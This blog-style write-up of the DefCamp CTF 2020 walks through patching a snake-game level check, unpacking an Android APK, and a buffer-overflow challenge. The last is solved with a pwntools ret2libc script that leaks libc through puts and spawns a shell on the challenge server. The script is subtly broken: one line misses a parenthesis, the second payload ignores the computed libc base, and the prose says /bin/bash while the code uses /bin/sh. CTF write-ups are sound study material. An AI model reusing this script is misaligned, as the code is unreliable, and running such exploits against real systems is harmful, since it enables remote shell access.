DefCamp Capture the Flag 2020 writeup

taodai
5 min readDec 9, 2020

dctf was a really cool ctf and i really enjoyed it because i learned many new techniques including android apps reversing and basic games hacking even tho we we were not able to solve all available challenges, in this writeup ill be covering only the reversing and binexp challenges , so thats it lets start :)

Reverse engineering :

Kalf-game:

we’re given an x64 elf executable and by runing it we can see its a snake game and each time we eat the red object we level up , my team mate had a sick idea which consist of finding a way to reach the last level somehow.

lets start reversing this binary and for this we will be using IDA and binwalk

we can see that we are dealing with a rust binary

after importing the binary we can start searching for obvious strings like “Ctf,Level,Victory,Finish” and we can see its already mentioned

lets follow this cross reference ->

that “cmp dword ptr [rax+3Ch], 186A0h” instruction caught my attention so i decided to set a break point there and investigate it , we can see that the offset is 0xE5A04 and since PIE is enabled we will need to add our program base address to the offset so we get the correct address

i set a break point at main function and executed vmmap to see my program base address segment which starts with “0x0000555555554000” so thats mean our address will be at

now lets set a break point in there and see whats going on

oh wait ! each time we eat the object it do a compare instruction between the “[rax+0x3c]” register and the value “0x186a0” which is “10000” in decimal , that sounds like a level checker, so i decided to change the “rax+0x3c” value to 1000

and boom !

Modern login:

i started by downloading the challenge file and unpacking it using the apktool

reading the manifest didnt reveal much info .I navigated through these directories but nothing was interesting except a private.mp3 file then i did a small research about the classes.dex and it looks like a file that hold all classes,methods,activities and objects that being used in the application.

cool now lets decompile this file using dex2jar which is used to translate dex files to jar files

i used jd-gui to view the source code of this jar file

hum its trying to extract an mp3 file which is weird so i run file on that audio file and it shows that’s a compressed file :/

we got a main.py file which seems interesting

we can spot some xored data , one of my team mates were able to decrypt it with a simple php line

we got our flag !

Binary Exploitation:

pwn_bazooka_bazooka:

as always we begin by checking the binary arch

we are asked for a secret message, lets fire up ghidra and analyze the given binary

the main function redirect us to loop()

we see a hardcoded secret string “#!@{try_hard3r}” and if the comparaison is true we get redirected to the vuln() function

the vulnerability is obvious in here , it doesn’t perform any check on the input length , lets try to overflow this 112 bytes buffer with 112 bytes of junks and 8 bytes padding so we will be able to overwrite the RIP with 120 bytes then we need to try to get leak from GOT so we can find the function offset and calculate the libc base address and return to system(“/bin/bash”)

#!/usr/bin/env python
from pwn import *
from struct import *
#p = process('./pwn_bazooka_bazooka')
e = ELF('./pwn_bazooka_bazooka')
p = remote("34.89.250.23",30027)
remote_libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so")
context.log_level = "DEBUG"
pop_rdi = 0x00000000004008f3 #from ROPgadget
ret_main = e.symbols['main']
payload = "A"*120
payload += p64(pop_rdi)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(ret_main)
p.sendline("#!@{try_hard3r}")
p.sendlineafter("Message: ", payload)
leak = p.recv(8).strip().ljust(8, b"\x00")
addr = struct.unpack("Q", leak)[0]
log.success("Leaked puts: {}".format(hex(addr)))
libc_base = addr - remote_libc.symbols["puts"]
log.success("libc base: {}".format(hex(libc_base))
payload = "A"*120
payload += p64(pop_rdi)
payload += p64(next(remote_libc.search(b"/bin/sh")))
payload += p64(pop_rdi+1)
payload += p64(remote_libc.symbols["system"])
payload += p64(remote_libc.symbols["exit"])
p.sendline("#!@{try_hard3r}")
p.sendlineafter("Message: ", payload)
p.interactive()

and that’s it for this ctf , its quite interesting and funny , hope you all enjoyed it and thanks for reading ! have a great day :)

--

--